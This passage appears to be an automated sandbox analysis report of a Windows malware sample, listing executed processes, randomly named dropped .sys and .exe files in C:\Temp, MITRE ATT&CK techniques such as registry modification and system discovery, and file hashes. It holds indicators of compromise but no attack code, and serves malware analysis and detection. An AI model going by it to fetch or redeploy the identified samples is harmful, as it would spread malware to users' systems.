      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,12286344065854491076,5592454003637298251,524288 --field-trial-handle=2504,i,13561650435529223251,1083374465824543229,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:2792

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1572

C:\Temp\pkicaxspkhfzxvpn.sys
C:\Temp\pkicaxspkhfzxvpn.sys
1⤵
- Executes dropped EXE
PID:2284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2292

C:\Temp\xrpjhczurp.sys
C:\Temp\xrpjhczurp.sys
1⤵
- Executes dropped EXE
PID:4324

C:\Temp\czurmkecwu.sys
C:\Temp\czurmkecwu.sys
1⤵
- Executes dropped EXE
PID:2960

C:\Temp\hbztrljebw.sys
C:\Temp\hbztrljebw.sys
1⤵
- Executes dropped EXE
PID:5440

C:\Temp\jdbwtrljge.sys
C:\Temp\jdbwtrljge.sys
1⤵
- Executes dropped EXE
PID:6056

C:\Temp\dbytqoigby.sys
C:\Temp\dbytqoigby.sys
1⤵
- Executes dropped EXE
PID:5868

C:\Temp\daysqoigdy.sys
C:\Temp\daysqoigdy.sys
1⤵
- Executes dropped EXE
PID:4780

C:\Temp\xsqkicausn.sys
C:\Temp\xsqkicausn.sys
1⤵
- Executes dropped EXE
PID:4388

C:\Temp\faxvsnkfdx.sys
C:\Temp\faxvsnkfdx.sys
1⤵
- Executes dropped EXE
PID:4052

C:\Temp\spkhczusmk.sys
C:\Temp\spkhczusmk.sys
1⤵
- Executes dropped EXE
PID:1144

C:\Temp\jhezxupmke.sys
C:\Temp\jhezxupmke.sys
1⤵
- Executes dropped EXE
PID:2736

C:\Temp\jebztromge.sys
C:\Temp\jebztromge.sys
1⤵
PID:5252

C:\Temp\rojhbztrmj.sys
C:\Temp\rojhbztrmj.sys
1⤵
PID:1860

C:\Temp\gbytqligeb.sys
C:\Temp\gbytqligeb.sys
1⤵
PID:5704

C:\Temp\igaysqlida.sys
C:\Temp\igaysqlida.sys
1⤵
PID:4416

C:\Temp\spnlfdavtn.sys
C:\Temp\spnlfdavtn.sys
1⤵
PID:2340

C:\Temp\nkfdavsnkf.sys
C:\Temp\nkfdavsnkf.sys
1⤵
PID:1372

C:\Temp\causmkecxu.sys
C:\Temp\causmkecxu.sys
1⤵
PID:6112

C:\Temp\pmhfzxrpnh.sys
C:\Temp\pmhfzxrpnh.sys
1⤵
PID:3524

C:\Temp\kecwuomgez.sys
C:\Temp\kecwuomgez.sys
1⤵
PID:3180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtqljdbvt.exe

Path C:\Temp\bvtqljdbvt.exe
Size 389KB
SHA256 5bda60a229be2b7719d69c717810e809483c4a70b8ee73fe115cc1d85235934a
MD5 89bccbd758aa33a8e2e4e51388e8d271
SHA1 2582d891305d09ccc40db50f868b9ad0694c26a1
SHA512 bffc4f02953fe9a42bc87811a4dd175c5db76c1c153a6aa3143041e12712a6fbb92ba5679dc9cbf761846a6284dec00a4c8f49e01fe165f1508359068f8ecb06
SSDEEP 3072:fuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:fuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T180847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

czurmkecwu.sys

Path C:\Temp\czurmkecwu.sys
Size 293KB
SHA256 1bfc122caf0807638017008c1ef592ce5f9fe6246e69b1e8b05ee2490de68aa1
MD5 7387bd5eb83d794f7fd9ff29b3333826
SHA1 86d3f536b9995642c02e413beb4c7710772befb6
SHA512 69850aac2abc651f6e63041c7356a08498c2eb4f07d8f6866e8c2a191aa44bf90cfd53fbd9794cb0131ea29421c7f500cac1360462571567fc390baba3b105b1
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:bIJjiJcbI03GBc3ucY5DCSj
TLSH
T13B545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbytqoigby.sys

Path C:\Temp\dbytqoigby.sys
Size 293KB
SHA256 35ddbbc4e512a602dfff7ca34a22fd5b9db3f921a7a24fe6fa242c648f16a2d6
MD5 3a7e9adfd7b9ce87d508bd000fb3ee62
SHA1 3810d59ce3e62a46114177e726a2834ec3a1d14a
SHA512 990817a66042dc5a32e3f6871553fe1c3315aa061952c4a2b101a42644f853853da094c26d20c709407154aef4e648d90a6b4c04bda85ce05178e41d6bad1320
SSDEEP 3072:ktKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:kIJjiJcbI03GBc3ucY5DCSj
TLSH
T193545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywrojhbzt.exe

Path C:\Temp\eywrojhbzt.exe
Size 389KB
SHA256 889ea39c921a86e86089003bd8182b92656d5771292cf625a21b542b91e8cc3d
MD5 10b375e21c1eb8bfe0e233ef87c3632b
SHA1 5b9a4d52e7890cc0db1a1605e2bad37545db866a
SHA512 2c7bfff7cb5dee9af7906812df053e30e1072dadf2fedbf0c3fef36e3b9ff1d5e27bd38c0fa1c9ecf2f755fdc9ec7feb3c42c72db112e8ab9e84d69e9019f330
SSDEEP 3072:cuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:cuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T110847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrljebw.sys

Path C:\Temp\hbztrljebw.sys
Size 293KB
SHA256 98a449f0f13177a553dcce0b6adb5d72f7545faab23e179519b362c9d7cf1713
MD5 bc0630c738bf6bbf3f5cd6e90fb3e4b1
SHA1 c92f02a03a9d2fd5e8e1d056fe8569ef66559966
SHA512 a595a1062095a7f267289704cc94115bcd4e632636806976892bcf7840cf9d206d2d089d5385cc7fee196d2225bdaa9cc28bc5039f73ce1a521c38bb824ce6d4
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:bIJjiJcbI03GBc3ucY5DCSj
TLSH
T124545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bvtqljdbvt.exe

Path C:\Temp\i_bvtqljdbvt.exe
Size 389KB
SHA256 c4c8b320ba425613a98a7cf30d77da398df157c7152c0374007f8088ae73d561
MD5 3c31e9d433fdd845f67debb9d27ceb9a
SHA1 36526f7e71ac6605dbe2bcee9c960e3b67f8f210
SHA512 121b2bbfa33b851ed2f4a66d2d980ce9c0fc4bcac0626776184325e2bdbafa98168bb43f492ebd0960af2b8f617bf8f5c414566f0b32ecc46b2076c380eeeac0
SSDEEP 3072:suxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:suxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T197847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_eywrojhbzt.exe

Path C:\Temp\i_eywrojhbzt.exe
Size 389KB
SHA256 da9c746c348bfb91ce7d94748f994400a588a675a6622ab985b7c47104b9711c
MD5 6690487d2982ffb41264b337d91c0b2b
SHA1 e2f6effacb4caff24632a7eca911f77abb02064c
SHA512 6ce7fd5ce4b7a29a57d2906fbd971215b2541e1ed149bae227bfdcf2d6655274f3f8fa9625c357ee81e84d528a5da72997edcc2bb6ea4fdfa04d4e923ceacd8b
SSDEEP 3072:Luxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:LuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1BB847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbvtnlgdy.exe

Path C:\Temp\i_jdbvtnlgdy.exe
Size 389KB
SHA256 4ae1b30f1e5935e9453235d25deee9db928962816f785395db1d95944a169668
MD5 df016c9c3254c9c6f1d292f33d2a03e8
SHA1 4d3f39bdc8881b4133212b4b9c1b1c8be993d274
SHA512 0af64dbe6b4e93c9b8d5c472414083f2c6832a545f6672118834942a30d691d8dbcd4aa83760b9729a24c61d5eb496facae7017fee3d94cac5336b594479a20c
SSDEEP 3072:Huxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:HuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1BE847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rpjhczurmk.exe

Path C:\Temp\i_rpjhczurmk.exe
Size 389KB
SHA256 b024a1cc517b3ecee43ffc86e45a26637bc5a9a6f54223c50afd26147d743c5a
MD5 cbbf730e0c33cd8e0d63fdde8bd9b76a
SHA1 83356d51c1670e419b950f79935a93b89d5dcb4a
SHA512 25a667570f2c9cecb5ff0f4c3b1f47614bda1798d1708884805edc0005ccea3c4ab8393d8c38f4b3c2495d29d8af57861e2d9df9c4cdba2e708f6ab6f662b68d
SSDEEP 3072:Fuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:FuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T146847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_uomjectrmj.exe

Path C:\Temp\i_uomjectrmj.exe
Size 389KB
SHA256 398d8583aa7880e3db435af8959e5635ed52e0393659a237eaab2577eee29aa2
MD5 44cb5072bcf94d122dcd5e7de53de22c
SHA1 90ca7704a35a8e6225d4ab86a0b40e554464d099
SHA512 c1b73b3d71afd7b8e145b19ed49dd5cee15d22e333efe0e794be7022ac050ff9d64379f12cba1140474d7a8300bf4b50905ddeab6555528ad66cc52cdb6811df
SSDEEP 3072:4uxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:4uxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T16C847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vpnhfzxvsn.exe

Path C:\Temp\i_vpnhfzxvsn.exe
Size 389KB
SHA256 672641a602cabfa3864c2ba6edc8c94a46e2711810e1231e4b6368893b3fc9b0
MD5 b97c345f2d64316e6a830457343c85e8
SHA1 29579c38a12dc6f11db1b6cb126f76f071e9cb8d
SHA512 3166f7c7aaa6863d6585e678445ff7e7c5cb4c7b3a66bf82bae6bef4cc5221ea9cd463bcb27ed5fa15815cbfdf2d712555b6f02d4ff3d3017b8df91fe34f9007
SSDEEP 3072:tuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:tuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T183847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbvtnlgdy.exe

Path C:\Temp\jdbvtnlgdy.exe
Size 389KB
SHA256 4470aae933705bcf7a4e2fecbadbae9e85e60edabef29d571891541ea1e88766
MD5 73159115a3fd12a75efa963389c7456c
SHA1 c94b1a699ba1d0558496cf5a721909e05d1d464c
SHA512 0e40e352a4d3e32427c49d1b1953f6309aee62358508b23c05fdf02aeb95af27e1471a6efd9b2b778e5e2609679b2d22c2a112099481ea93431e58e4654f3b29
SSDEEP 3072:nuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:nuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T169847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbwtrljge.sys

Path C:\Temp\jdbwtrljge.sys
Size 293KB
SHA256 96cde10c6aee7c7ea8a05872fc95cdb775f070cb27c1a68d46d0972078c9c7e6
MD5 a80cbabc10a2beb42edbb8f6fd0d1040
SHA1 ae2cb5ac359347b6474c6417edfa11dbbb038dbe
SHA512 f80ac849980ca35ad3bc82f561e76005872748f6c338f5e85a8bfcb03a2a2e75376e2095fcf1370e08ef692d158d028bcf6a734e7c95fec55f1b728ceae41df4
SSDEEP 3072:itKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:iIJjiJcbI03GBc3ucY5DCSj
TLSH
T163545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkicaxspkhfzxvpn.exe

Path C:\Temp\pkicaxspkhfzxvpn.exe
Size 389KB
SHA256 a809ea2da702e0c430480ffab24170ac17a51deda2631d02ab0942e06fad343a
MD5 e3c7626d21881b03ff03dc3159fbf414
SHA1 db7c3e0c1a40c6dd412b8b916a66d2e12b1e5e7f
SHA512 9a626657116f99e538c4f47f6b9716baac5edaa840400ba89bf6ca2fdc811692b03fae165ece61014117504e1e00d5bedf345155be5d1a36d9e8bd33507c7ab9
SSDEEP 3072:iuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:iuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12E847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkicaxspkhfzxvpn.sys

Path C:\Temp\pkicaxspkhfzxvpn.sys
Size 293KB
SHA256 4c7e3295783ed3c45d28a7026fbf594452c0ff21c82bc43093bb509d4ed549ef
MD5 d6966d8d4da17988cd7500b1345ae8ff
SHA1 16fc1fe20d1debbcd672d992be01ddf042e91f8d
SHA512 8ebbb228b91a0fd26d5dba5a53f9f7025dcd55e1311a47f6718df58d8c7b300b2676209be826fa97f9ac5a7455df2ce662e488d5303ce2c313a3afe4e85b7ea5
SSDEEP 3072:ptKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:pIJjiJcbI03GBc3ucY5DCSj
TLSH
T180545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rpjhczurmk.exe

Path C:\Temp\rpjhczurmk.exe
Size 389KB
SHA256 2bebacd8dd1f1fd6f8c743803396f8fa297be393091d64493670095a656e611d
MD5 17c6b36b54ed37464e1a985a9d7a8a84
SHA1 d365ce58192f8b28675955e8fe5a2f7ee18e1528
SHA512 55ba3ba36e7405f65d3577d3016a70ed5e555d4117857b85ccc01f29636f38cd7a894d6f35bf068ee82dce7d08d855e3a0fc569065a86f27d4acca56b28aa08a
SSDEEP 3072:2uxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:2uxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B5847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomjectrmj.exe

Path C:\Temp\uomjectrmj.exe
Size 389KB
SHA256 2b429bf7e507c9a7a93d3dab82cd9911fca9bcc375755c2f6188f2a4926453ba
MD5 6ae8280bc28739f18ce587eaa668eccc
SHA1 57674921d525e19e04aa571a0906058bdebdc9a1
SHA512 ab000691eaf0f80604ffd65749fc11257ed8980304333ee606a9afb31207710bafb6b7c739f4f8846af5d79ed8f7a14b6c0b0a76c9984c48c26a4c4ac289c2e2
SSDEEP 3072:Kuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:KuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AD847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vpnhfzxvsn.exe

Path C:\Temp\vpnhfzxvsn.exe
Size 389KB
SHA256 de37845aed76c2c932e744b15c983a90fa1d575b19eb5300b6ef6b6920758867
MD5 4d671838ad56506e4d1129f6e59668b2
SHA1 57e547161ce40d81165decd88bbb8aa11b642e76
SHA512 51a53566b4f63e9d72554e1a35d7cdac95673217ba649c98fbf3a4de31b57f89450f9a2afc80d8cf030c62c5eed65d6852cf7e356ee2d579e068fc6891c67593
SSDEEP 3072:Xuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:XuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D6847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpjhczurp.sys

Path C:\Temp\xrpjhczurp.sys
Size 293KB
SHA256 65fb953b7037472fb7414253d72a89533f4e885a3919e4628941f655985c11bc
MD5 5abf5807b08745190c8492feedc4d574
SHA1 2750430cda6917754078edc210f0fb690ee1ae1e
SHA512 12bcf1f34992b7206d98822099009abda85beb6145360e7d18d7eb96b6461d9fd78df1cfb73cd02795585b06fcfeb72189128f88a8665517f013dcf699bf6581
SSDEEP 3072:JtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:JIJjiJcbI03GBc3ucY5DCSj
TLSH
T171545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 85aeb1ef99263b2509433a8b31c7113493027bcf5d92294ab64fc4a1c73a935b
MD5 adf57b832b7d3d56337c1fcf1b73a274
SHA1 dd6ff6711bd3429f0323fa6786c2c60acd6fe2be
SHA512 33253f04f77ba85b11599d6436e7987939af95f1d4886649e01e131287ee300391718be6215cd3375af8f92658d9c9b959c28d27f974bc77644e0b359fe74217
TLSH
T18C51CD97432379C3D77AA5B225E30C9ABEBC848E05CFAFDF4811B1768A4B3946050631
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3de5.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3de5.TMP
Size 2KB
SHA256 9ccb3fefacd87854840470c7525053b69ebb9b9dbd2b125f494d95ca93393468
MD5 f14b975968abab23c1e3c6a88a9f82d9
SHA1 02ce50fa667a161a36bf54ee5075b7d6d88d8e7c
SHA512 ee3034b4d872c84062189c47124b4d7a727b5eec6c5768f7087daa5501385d3e4d200c503eedaa2931cdb84da5e97e7685f845978077c3bc42061e001b0f27c2
TLSH
T15D51CD97472379C3D77AA5B225E30C9ABEBC848E05CFAFDF4811B1768E8B3946050635
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 8a8806d7e26b70b540d08ad721e8a919e96c8ad7d5bbd551934c66b22a33a19a
MD5 4f15cb70d7bb646cd31f997b65e5a38c
SHA1 f910ebed5f55eaaa8ad78e0e3d5ef508a5168d78
SHA512 4225cfc4f18db3c958d813a8cdca7108e4ce7891e939cc57c2d0f810636b9002b5c882b5e8b8dec6e57f8e265549804a68180b93c90a9606aa774de4148cb04a
TLSH
T1C341ADF7C7F4866E8A0196F0AA14AE1BCF1C0651432C7C5AC9E0AE2793E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 544cbf55ce68a7a2fcd5e35a31062db08b58726d336bc815e8fcbc64f7ec8d08
MD5 cc4e497226ebf958fd8c528d1a8ab4ef
SHA1 dcc98f58b46e9c6ef79eedac03a5ee8a1fdfbe66
SHA512 4b4b1215c5e6c72713025fddbe99c6e0e35c2d6bb27173788f4b90cc7666b91230b3ead81d1840b3b2e69f84376c82407e2ff94e1c20305040c3c280ca1bbdd0
SSDEEP 192:sxR3ReCL/fYs2mZaZYKzoA8p9u/g6+WNC+N/YolQCYD+GSIgVvJ:sxR3/L/fYs2mZM0M/5B/Ric/
TLSH
T1BC42C8556E28A93B5CC7E20DFA65BF53D3F96032A1D42E48BAFC961C00E66DD220741F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 4e679e5d9dd65dc8779bac59137c7be373a0dc7c53150249c7bf99d839e54c41
MD5 eb6eac10225162ea1ea77765caecc85f
SHA1 c0490b6b460ec75b5db9b45c22250c15d2cdc1f5
SHA512 2941ffa4e18f71e1856487cdf54a39cd200a76937e2910339daad7f8aade020b028e2fe3049523167c429d23b059cd0adb4c0a1354bd510aa4de79a8880a108a
SSDEEP 192:sxR0ReCL/fYsjimZaZYKzoA8p9u/g6+WNC+N/YolQCYD+GSIgD7vJ:sxR0/L/fYsjimZM0M/5B/Rich
TLSH
T10F42C8556E28A93B5CC7E20DFB65BF53D3F96032A1D42E48AAFC961C00E66DD220741F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 ee020c9412d22afc606648d36d49e0e392e8daf27b8b31096058b8b4b44a1d36
MD5 1cfa38b02a33b99d82c5d15d8111f8b6
SHA1 d8b80f663fddc9864b601711db1d7dcb44130afa
SHA512 dd49f50ea4de478f3fdd1aa9fed4e73d44a9b6cee85b9c5c66b04714cfb25bc13765fb9829f4a4fa2225e031a2829d24421427cadd36839b26d856968af08fb8
SSDEEP 192:sxR0ReCL/fYsjim/naZYKzoA8p9u/g6+WNC+N/Yoi+CYD+GSIgDJvJ:sxR0/L/fYsjimfM0M/5B/iicf
TLSH
T15542C8556D28A93B5CC7E20DBA65BF53D3F96032A1952E08ABFC861C00E76DD220741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 c23bcaea77d6adc5e3b9cafd5bd872c909fb769139b61cb72247bf33bcf1ea28
MD5 041ec4314ea5ed2ddfb54a65634c5edd
SHA1 8f23bc24fed9b3f29c8d4e5e23c36ebf2fff6056
SHA512 7b1a3cb41347af883b88d4ef1e57fb116e8997dbd2d7a91dd7e4ba62cd36b02440d68256ef5b8cbc04a04eb321f9f6156aa9369f1de141b7d5e9a35dccf0d014
SSDEEP 768:j26HOo7pLuL7MRWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OVBKBVuwJro9Xe0C:j26HOUE7MRWgs2f02u1jaCKB4wiyd
TLSH
T14FD2DB7B640DCB7E4F804ADDEC297E9E6D6802CB9698CD8047FE941C02C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1718b7ad-421c-4675-bf5e-10a223f283bc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\1718b7ad-421c-4675-bf5e-10a223f283bc.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
